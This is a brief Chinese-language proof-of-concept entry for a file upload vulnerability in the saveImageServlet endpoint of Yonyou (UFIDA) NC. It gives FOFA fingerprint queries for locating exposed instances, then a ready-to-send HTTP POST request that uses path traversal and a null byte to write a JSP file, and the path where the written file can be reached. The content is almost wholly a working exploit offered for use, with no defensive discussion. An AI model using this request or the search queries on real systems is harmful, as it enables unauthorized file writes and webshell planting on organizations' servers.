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用友NC_saveImageServlet接口存在文件上传漏洞

用友NC_saveImageServlet接口存在文件上传漏洞​

fofa​

icon_hash="1085941792"  
app="用友-UFIDA-NC"

poc​

POST /portal/pt/servlet/saveImageServlet/doPost?pageId=login&filename=../1.jsp%00 HTTP/1.1
Host: 
Content-Type: application/octet-stream
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 19

111

文件路径http://ip:port/portal/processxml/1.jsp

image

image